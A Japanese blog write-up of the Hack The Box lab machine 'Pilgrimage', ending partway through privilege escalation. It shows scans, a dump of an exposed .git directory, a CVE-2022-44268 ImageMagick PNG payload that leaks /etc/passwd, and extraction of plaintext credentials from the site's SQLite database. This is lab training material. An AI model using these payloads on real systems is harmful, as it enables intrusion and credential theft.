初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Pilgrimage」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
Discovery
ポートスキャン
今回はRustScanで高速スキャンしてみた。（はっや）
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.129.29.117 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.29.117:22
Open 10.129.29.117:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-25 06:41 EDT
Initiating Ping Scan at 06:41
Scanning 10.129.29.117 [4 ports]
Completed Ping Scan at 06:41, 0.28s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:41
Completed Parallel DNS resolution of 1 host. at 06:41, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 06:41
Scanning 10.129.29.117 [2 ports]
Discovered open port 22/tcp on 10.129.29.117
Discovered open port 80/tcp on 10.129.29.117
Completed SYN Stealth Scan at 06:41, 0.30s elapsed (2 total ports)
Nmap scan report for 10.129.29.117
Host is up, received echo-reply ttl 63 (0.25s latency).
Scanned at 2023-06-25 06:41:29 EDT for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.72 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「pilgrimage.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。
Collection
ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts
以下を投入。
10.129.29.117 pilgrimage.htb
疎通確認を行う。
┌──(root㉿kali)-[~]
└─# ping pilgrimage.htb
アクセスしてみると以下のサイトが確認できる。
サイト探索
httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。
Subdomain探索
以下サイトからサブドメインのリストをダウンロード
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
ffufで探索。
┌──(root㉿kali)-[~]
└─# ffuf -w bitquark-subdomains-top100000.txt:FUZZ -u http://pilgrimage.htb/ -H "HOST: FUZZ.pilgrimage.htb" -fs 7621 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://pilgrimage.htb/
:: Wordlist : FUZZ: /root/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.pilgrimage.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 7621
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 450 req/sec :: Duration: [0:03:10] :: Errors: 0 ::
特段いいものはない。
ディレクトリ探索
dirsearchを使用して探索を実施。
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://pilgrimage.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/pilgrimage.htb/-_23-06-25_06-45-08.txt
Error Log: /root/.dirsearch/logs/errors-23-06-25_06-45-08.log
Target: http://pilgrimage.htb/
[06:45:08] Starting:
[06:45:15] 200 - 2KB - /.git/COMMIT_EDITMSG
[06:45:15] 403 - 555B - /.git/branches/
[06:45:15] 403 - 555B - /.git/
[06:45:15] 200 - 92B - /.git/config
[06:45:15] 301 - 169B - /.git -> http://pilgrimage.htb/.git/
[06:45:15] 403 - 555B - /.git/hooks/
[06:45:15] 200 - 23B - /.git/HEAD
[06:45:16] 200 - 240B - /.git/info/exclude
[06:45:16] 403 - 555B - /.git/info/
[06:45:16] 403 - 555B - /.git/logs/
[06:45:16] 200 - 195B - /.git/logs/HEAD
[06:45:16] 200 - 73B - /.git/description
[06:45:16] 200 - 4KB - /.git/index
[06:45:16] 301 - 169B - /.git/logs/refs/heads -> http://pilgrimage.htb/.git/logs/refs/heads/
[06:45:16] 301 - 169B - /.git/logs/refs -> http://pilgrimage.htb/.git/logs/refs/
[06:45:16] 403 - 555B - /.git/objects/
[06:45:16] 200 - 195B - /.git/logs/refs/heads/master
[06:45:16] 301 - 169B - /.git/refs/heads -> http://pilgrimage.htb/.git/refs/heads/
[06:45:16] 403 - 555B - /.git/refs/
[06:45:16] 200 - 41B - /.git/refs/heads/master
[06:45:16] 301 - 169B - /.git/refs/tags -> http://pilgrimage.htb/.git/refs/tags/
[06:45:17] 403 - 555B - /.ht_wsr.txt
[06:45:17] 403 - 555B - /.htaccess.bak1
[06:45:17] 403 - 555B - /.htaccess.orig
[06:45:17] 403 - 555B - /.htaccess.sample
[06:45:17] 403 - 555B - /.htaccess_orig
[06:45:17] 403 - 555B - /.htaccess_extra
[06:45:17] 403 - 555B - /.htaccess.save
[06:45:17] 403 - 555B - /.htaccess_sc
[06:45:17] 403 - 555B - /.htaccessBAK
[06:45:17] 403 - 555B - /.htaccessOLD
[06:45:17] 403 - 555B - /.htaccessOLD2
[06:45:17] 403 - 555B - /.html
[06:45:17] 403 - 555B - /.htm
[06:45:17] 403 - 555B - /.htpasswd_test
[06:45:17] 403 - 555B - /.htpasswds
[06:45:17] 403 - 555B - /.httr-oauth
[06:45:40] 403 - 555B - /admin/.htaccess
[06:45:53] 403 - 555B - /administrator/.htaccess
[06:45:57] 403 - 555B - /app/.htaccess
[06:45:58] 301 - 169B - /assets -> http://pilgrimage.htb/assets/
[06:45:58] 403 - 555B - /assets/
[06:46:15] 302 - 0B - /dashboard.php -> /login.php
[06:46:27] 200 - 7KB - /index.php
[06:46:32] 200 - 6KB - /login.php
[06:46:33] 302 - 0B - /logout.php -> /
[06:46:50] 200 - 6KB - /register.php
[06:47:02] 403 - 555B - /tmp/
[06:47:02] 301 - 169B - /tmp -> http://pilgrimage.htb/tmp/
[06:47:07] 403 - 555B - /vendor/
Task Completed
とりあえず.git階層見えたりしてますね。Dumpするのは確定の流れになりそう。
ブラウジング
とりあえずブラウザで流れを追っておく。
login.phpでのログインを試してみる。admin:adminだ。
ダメでした。なら登録してからアクセスしてみる。
行けたけど、やっぱ初手のindex.phpの機能を確認しておいた方がいいかな。
※ここに何も表示されないし。
index.php
とりあえず画像をあげる機能のようなので、雪花ラミィちゃんをアップロードします。
アップロードが成功したら、何やら画像へのURLが表示されます。
飛んでみましょう。
あああああああああああああああああああああああああああああああああああああああああああああああ
ラミィちゃん可愛い！！！！
じゃなくてですね。まぁ、画像をアップして何やら加工後、そのURLを払い出すサイトのようですね。ラミィちゃんのおかげで完全に理解した。
gitdump
サイト探索で見つけたgitの階層をダンプしようと思います。
ここら辺は定番のToolがあるので利用します。
このリポジトリを参考に試してほしい。
ここいらのToolをダウンロードして利用します。
┌──(root㉿kali)-[~/work]
└─# git clone https://github.com/internetwache/GitTools.git
Cloning into 'GitTools'...
remote: Enumerating objects: 242, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 242 (delta 9), reused 27 (delta 7), pack-reused 209
Receiving objects: 100% (242/242), 56.46 KiB | 2.26 MiB/s, done.
Resolving deltas: 100% (88/88), done.
┌──(root㉿kali)-[~/work]
└─# cd GitTools/Dumper
┌──(root㉿kali)-[~/work/GitTools/Dumper]
└─# ls -tla
total 20
drwxr-xr-x 2 root root 4096 Jun 25 07:15 .
drwxr-xr-x 7 root root 4096 Jun 25 07:15 ..
-rwxr-xr-x 1 root root 4389 Jun 25 07:15 gitdumper.sh
-rw-r--r-- 1 root root 416 Jun 25 07:15 README.md
オッケ！！ではこのスクリプトを使ってダンプを取っていきます。
┌──(root㉿kali)-[~/work/GitTools/Dumper]
└─# ./gitdumper.sh http://pilgrimage.htb/.git/ git
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating git/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/e1/a40beebc7035212efdcb15476f9c994e3634a7
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212
[+] Downloaded: objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d
[+] Downloaded: objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc
[+] Downloaded: objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d
[+] Downloaded: objects/dc/446514835fe49994e27a1c2cf35c9e45916c71
[+] Downloaded: objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e
[+] Downloaded: objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548
[+] Downloaded: objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb
[+] Downloaded: objects/36/c734d44fe952682020fd9762ee9329af51848d
[+] Downloaded: objects/b2/15e14bb4766deff4fb926e1aa080834935d348
[+] Downloaded: objects/8f/155a75593279c9723a1b15e5624a304a174af2
[+] Downloaded: objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e
[+] Downloaded: objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e
[+] Downloaded: objects/98/10e80fba2c826a142e241d0f65a07ee580eaad
[+] Downloaded: objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd
[+] Downloaded: objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc
[+] Downloaded: objects/76/a559577d4f759fff6af1249b4a277f352822d5
[+] Downloaded: objects/ff/dbd328a3efc5dad2a97be47e64d341d696576c
[+] Downloaded: objects/f2/b67ac629e09e9143d201e9e7ba6a83ee02d66e
[+] Downloaded: objects/8a/62aac3b8e9105766f3873443758b7ddf18d838
[+] Downloaded: objects/e9/2c0655b5ac3ec2bfbdd015294ddcbe054fb783
[+] Downloaded: objects/c2/a4c2fd4e5b2374c6e212d1800097e3b30ff4e2
[+] Downloaded: objects/88/16d69710c5d2ee58db84afa5691495878f4ee1
[+] Downloaded: objects/96/3349e4f7a7a35c8f97043c20190efbe20d159a
[+] Downloaded: objects/2f/9156e434cfa6204c9d48733ee5c0d86a8a4e23
[+] Downloaded: objects/b6/c438e8ba16336198c2e62fee337e126257b909
[+] Downloaded: objects/11/dbdd149e3a657bc59750b35e1136af861a579f
[+] Downloaded: objects/c3/27c2362dd4f8eb980f6908c49f8ef014d19568
[+] Downloaded: objects/8e/42bc52e73caeaef5e58ae0d9844579f8e1ae18
[+] Downloaded: objects/5f/ec5e0946296a0f09badeb08571519918c3da77
[+] Downloaded: objects/50/210eb2a1620ef4c4104c16ee7fac16a2c83987
[+] Downloaded: objects/06/19fc1c747e6278bbd51a30de28b3fcccbd848a
[+] Downloaded: objects/54/4d28df79fe7e6757328f7ecddf37a9aac17322
[+] Downloaded: objects/1f/8ddab827030fbc81b7cb4441ec4c9809a48bc1
[+] Downloaded: objects/47/6364752c5fa7ad9aa10f471dc955aac3d3cf34
[+] Downloaded: objects/b4/21518638bfb4725d72cc0980d8dcaf6074abe7
[+] Downloaded: objects/49/cd436cf92cc28645e5a8be4b1973683c95c537
[+] Downloaded: objects/1f/2ef7cfabc9cf1d117d7a88f3a63cadbb40cca3
[+] Downloaded: objects/23/1150acdd01bbbef94dfb9da9f79476bfbb16fc
[+] Downloaded: objects/ca/d9dfca08306027b234ddc2166c838de9301487
[+] Downloaded: objects/fd/90fe8e067b4e75012c097a088073dd1d3e75a4
[+] Downloaded: objects/c4/3565452792f19d2cf2340266dbecb82f2a0571
[+] Downloaded: objects/29/4ee966c8b135ea3e299b7ca49c450e78870b59
[+] Downloaded: objects/fb/f9e44d80c149c822db0b575dbfdc4625744aa4
[+] Downloaded: objects/2b/95e3c61cd8f7f0b7887a8151207b204d576e14
[+] Downloaded: objects/a5/29d883c76f026420aed8dbcbd4c245ed9a7c0b
[-] Downloaded: objects/23/12310101010101010101410301010101210101
[-] Downloaded: objects/23/03032323230123232323212123212303632303
[-] Downloaded: objects/23/21236303230321632123036767012147470701
[-] Downloaded: objects/47/07412547250503474341056701016565070147
[-] Downloaded: objects/41/61416543747052570741470565674701054165
[-] Downloaded: objects/65/43450543454147054147414565014170505650
[-] Downloaded: objects/54/74547454747476767476767676767236323632
[-] Downloaded: objects/36/76745054545454545456545454545454545454
[-] Downloaded: objects/76/76701676767670105676767672167676767010
[+] Downloaded: objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb
[+] Downloaded: objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e
┌──(root㉿kali)-[~/work/GitTools/Dumper]
└─# cd git
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# ls -tla
total 12
drwxr-xr-x 6 root root 4096 Jun 25 07:16 .git
drwxr-xr-x 3 root root 4096 Jun 25 07:16 .
drwxr-xr-x 3 root root 4096 Jun 25 07:16 ..
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# git log
commit e1a40beebc7035212efdcb15476f9c994e3634a7 (HEAD -> master)
Author: emily <emily@pilgrimage.htb>
Date: Wed Jun 7 20:11:48 2023 +1000
Pilgrimage image shrinking service initial commit.
ダンプできたようなので、ステータス確認しておきます。
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: assets/bulletproof.php
deleted: assets/css/animate.css
deleted: assets/css/custom.css
deleted: assets/css/flex-slider.css
deleted: assets/css/fontawesome.css
deleted: assets/css/owl.css
deleted: assets/css/templatemo-woox-travel.css
deleted: assets/images/banner-04.jpg
deleted: assets/images/cta-bg.jpg
deleted: assets/js/custom.js
deleted: assets/js/isotope.js
deleted: assets/js/isotope.min.js
deleted: assets/js/owl-carousel.js
deleted: assets/js/popup.js
deleted: assets/js/tabs.js
deleted: assets/webfonts/fa-brands-400.ttf
deleted: assets/webfonts/fa-brands-400.woff2
deleted: assets/webfonts/fa-regular-400.ttf
deleted: assets/webfonts/fa-regular-400.woff2
deleted: assets/webfonts/fa-solid-900.ttf
deleted: assets/webfonts/fa-solid-900.woff2
deleted: assets/webfonts/fa-v4compatibility.ttf
deleted: assets/webfonts/fa-v4compatibility.woff2
deleted: dashboard.php
deleted: index.php
deleted: login.php
deleted: logout.php
deleted: magick
deleted: register.php
deleted: vendor/bootstrap/css/bootstrap.min.css
deleted: vendor/bootstrap/js/bootstrap.min.js
deleted: vendor/jquery/jquery.js
deleted: vendor/jquery/jquery.min.js
deleted: vendor/jquery/jquery.min.map
deleted: vendor/jquery/jquery.slim.js
deleted: vendor/jquery/jquery.slim.min.js
deleted: vendor/jquery/jquery.slim.min.map
no changes added to commit (use "git add" and/or "git commit -a")
お、削除したやつがありそう！！なのでこやつはresetで復元させます。
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# git reset --hard
HEAD is now at e1a40be Pilgrimage image shrinking service initial commit.
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# ls -lta
total 26972
drwxr-xr-x 6 root root 4096 Jun 25 07:22 .git
drwxr-xr-x 5 root root 4096 Jun 25 07:22 .
-rwxr-xr-x 1 root root 27555008 Jun 25 07:22 magick
-rwxr-xr-x 1 root root 6836 Jun 25 07:22 register.php
drwxr-xr-x 4 root root 4096 Jun 25 07:22 vendor
-rwxr-xr-x 1 root root 5538 Jun 25 07:22 dashboard.php
-rwxr-xr-x 1 root root 9250 Jun 25 07:22 index.php
-rwxr-xr-x 1 root root 6822 Jun 25 07:22 login.php
-rwxr-xr-x 1 root root 98 Jun 25 07:22 logout.php
drwxr-xr-x 6 root root 4096 Jun 25 07:22 assets
drwxr-xr-x 3 root root 4096 Jun 25 07:16 ..
復元完了！！！こいつらのファイルを読み込んでいく作業に移ります。
Initial Access
コード解析
さて、ではlogain.phpから見てみる。
うーむ、プレースホルダされてるしなぁ、Easyでここ突破てキツくないかなぁ？
続いて、index.phpを確認する。
あ、色々とexecしているのが見えるのでここら辺あたりが脆弱性存在しそうですね。
magickバイナリの動作をGhidraあたりで解析して求める感じかなぁ？
まぁ試しに回してみますか。
あああああ、ImageMagickですかぁ！これkurenaifさんも解説してた脆弱性ありそうですなぁ！
調べてみます。
あった。ここら辺の解説は魔女に任せます。（ごめんラミィちゃん。）
Webが触れる環境しかLFIできません。
んで、このPOCは出てきた当初あたりにこのリポジトリが話題になってます。
ここら辺の動作再現したら脆弱性発露しそうなので試してみようではないですかぁ！！
CVE-2022-44268
上記Githubサイトのaptのパッケージはダウンロードする必要がある。
その後に以下でPayloadを注入する。
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# pngcrush -text a "profile" "/etc/passwd" image.png
Recompressing IDAT chunks in image.png to pngout.png
Total length of data found in critical chunks = 2172760
Best pngcrush method = 6 (ws 15 fm 6 zl 9 zs 0) = 1454315
CPU time decode 0.118104, encode 0.928580, other 0.006590, total 1.057290 sec
はい、続いてPayloadが正しく入っているかを確認する。
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# exiv2 -pS pngout.png
STRUCTURE OF PNG FILE: pngout.png
address | chunk | length | data | checksum
8 | IHDR | 13 | ............ | 0x762c686c
33 | gAMA | 4 | .... | 0x0bfc6105
49 | sRGB | 1 | | 0xaece1ce9
62 | pHYs | 9 | ......... | 0x952b0e1b
83 | tEXt | 15 | Software.Google | 0x026e0e5f
110 | IDAT | 524288 | x.....d.u..^..........@.{..%.i | 0xcd0b3b24
524410 | IDAT | 524288 | ...Cmv.1..w.......9^Q.L..E.%.. | 0xb5f44bb2
1048710 | IDAT | 405658 | .\n.7.-.W..d.C...@.p...$<..&.. | 0x2cecd196
1454380 | tEXt | 19 | profile./etc/passwd | 0x465bd758
1454411 | IEND | 0 | | 0xae426082
入っている。
んじゃアップロードします！！！
この画像にアクセスします。
ラミィちゃんンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンン！！！
じゃなくてですね。
こいつのProfileを探る必要があるわけですよ。
以下コマンドを打ちます。
┌──(root㉿kali)-[/home/kali/Downloads]
└─# identify -verbose 6498314c5683c.png
Image:
Filename: 6498314c5683c.png
Format: PNG (Portable Network Graphics)
Mime type: image/png
Class: DirectClass
Geometry: 450x450+0+0
Resolution: 37.8x37.8
Print size: 11.9048x11.9048
Units: PixelsPerCentimeter
Colorspace: sRGB
Type: TrueColor
Base type: Undefined
Endianness: Undefined
Depth: 8-bit
Channel depth:
red: 8-bit
green: 8-bit
blue: 8-bit
Channel statistics:
Pixels: 202500
Red:
min: 0 (0)
max: 255 (1)
mean: 175.772 (0.6893)
standard deviation: 61.9265 (0.242849)
kurtosis: -0.847692
skewness: -0.408134
entropy: 0.938774
Green:
min: 0 (0)
max: 255 (1)
mean: 183.642 (0.720163)
standard deviation: 52.7403 (0.206825)
kurtosis: -0.424271
skewness: -0.633076
entropy: 0.933892
Blue:
min: 0 (0)
max: 255 (1)
mean: 195.061 (0.764945)
standard deviation: 44.8541 (0.175898)
kurtosis: 0.760091
skewness: -1.02272
entropy: 0.906049
Image statistics:
Overall:
min: 0 (0)
max: 255 (1)
mean: 184.825 (0.724803)
standard deviation: 53.1737 (0.208524)
kurtosis: -0.292034
skewness: -0.698829
entropy: 0.926239
Rendering intent: Perceptual
Gamma: 0.45455
Chromaticity:
red primary: (0.64,0.33)
green primary: (0.3,0.6)
blue primary: (0.15,0.06)
white point: (0.3127,0.329)
Background color: white
Border color: srgb(223,223,223)
Matte color: grey74
Transparent color: black
Interlace: None
Intensity: Undefined
Compose: Over
Page geometry: 450x450+0+0
Dispose: Undefined
Iterations: 0
Compression: Zip
Orientation: Undefined
Properties:
date:create: 2023-06-25T12:21:49+00:00
date:modify: 2023-06-25T12:21:49+00:00
date:timestamp: 2023-06-25T12:21:32+00:00
png:bKGD: chunk was found (see Background color, above)
png:cHRM: chunk was found (see Chromaticity, above)
png:gAMA: gamma=0.45455 (See Gamma, above)
png:IHDR.bit-depth-orig: 8
png:IHDR.bit_depth: 8
png:IHDR.color-type-orig: 2
png:IHDR.color_type: 2 (Truecolor)
png:IHDR.interlace_method: 0 (Not interlaced)
png:IHDR.width,height: 450, 450
png:pHYs: x_res=3780, y_res=3780, units=1
png:sRGB: intent=0 (Perceptual Intent)
png:text: 5 tEXt/zTXt/iTXt chunks were found
png:tIME: 2023-06-25T12:21:32Z
Raw profile type:
1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f
62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a
2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a
783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372
2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73
706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31
303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f
6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573
722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d
646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b
75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f
7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69
7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67
696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73
62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d
5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e
6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334
3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e
2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374
656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72
6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65
6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e
0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a
signature: fbf0d9223e1326377060879bf40739ead0d29e85c882854089a4eae4798ed677
Software: Google
Artifacts:
filename: 6498314c5683c.png
verbose: true
Tainted: False
Filesize: 420289B
Number pixels: 202500
Pixels per second: 23.1046MB
User time: 0.010u
Elapsed time: 0:01.008
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
profileが見えたら勝ちです。
この文字列をPythonでデコードします。
決まった。。。これでLFI発露経路が発覚したのでここからさらにExploitしてきます！！！
Credential Access
さて、ここからLFiの脆弱性を利用して情報を収集しようという読者の方は多いと思う。
昨今のHTBではNginxが使われていれば/etc/nginx/nginx.confあたりを取得しにいくと思うが、何もない。。。
そう、それ以外の主要なディレクトリでProfileが帰ってこないのである。
本来ならばこのpng:とsignatureの間にrawの項目が来るはずだが....
ではgitdumpで取得したコードから実際に記載されている階層を取得してみる。
...
取得できたのは以下のdashboard.phpに記載されていた/var/db/pilgrimageだった。
dashboard.php
<?php
session_start();
if(!isset($_SESSION['user'])) {
header("Location: /login.php");
exit(0);
}
function returnUsername() {
return "\"" . $_SESSION['user'] . "\"";
}
function fetchImages() {
$username = $_SESSION['user'];
$db = new PDO('sqlite:/var/db/pilgrimage');
$stmt = $db->prepare("SELECT * FROM images WHERE username = ?");
$stmt->execute(array($username));
$allImages = $stmt->fetchAll(\PDO::FETCH_ASSOC);
return json_encode($allImages);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@100;200;300;400;500;600;700;800;900&display=swap" rel="stylesheet">
<title>Pilgrimage - Shrink Your Images</title>
<!-- Bootstrap core CSS -->
<link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<!-- Additional CSS Files -->
<link rel="stylesheet" href="assets/css/fontawesome.css">
<link rel="stylesheet" href="assets/css/templatemo-woox-travel.css">
<link rel="stylesheet" href="assets/css/owl.css">
<link rel="stylesheet" href="assets/css/animate.css">
<link rel="stylesheet" href="https://unpkg.com/swiper@7/swiper-bundle.min.css"/>
<link rel="stylesheet" href="assets/css/custom.css">
<!--
TemplateMo 580 Woox Travel
https://templatemo.com/tm-580-woox-travel
-->
...省略
まずは/etc/passwdと同様にペイロ―ドを注入
ImageMagickでコンバート下画像を読み解く。
で、、、デカすぎ！？
このファイルはsqliteのdbとして利用されていたので、Pythonでhexからutf-8に直でデコードすると文字化けが酷そう。
そこら辺うまく処理してくれそうな以下サイトを利用して一気にデコードする。
むむ？？見つけてしまった。ハッシュ化せずに直で投入してるなんて....
利用してくれと言っているようなものなので、利用させていただく。
Userゲット！！！
Privilege Escalation
調査
sudo -l
とりあえずsudo -lで特権で使えそうなファイルやコマンドを探してみる。
emily@pilgrimage:~$ sudo -l
[sudo] password for emily:
Sorry, user emily may not run sudo on pilgrimage.
emily@pilgrimage:~$
ないっすね。
linpeas
ということでlinpeas使います。Linemunよりこっち派。
以下のサイトからlinpeas.shをダウンロードしてくる。
┌──(root㉿kali)-[~/work]
└─# wget https://github.com/carlospolop/PEASS-ng/releases/download/20230312/linpeas.sh
実行。
emily@pilgrimage:~$ ./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
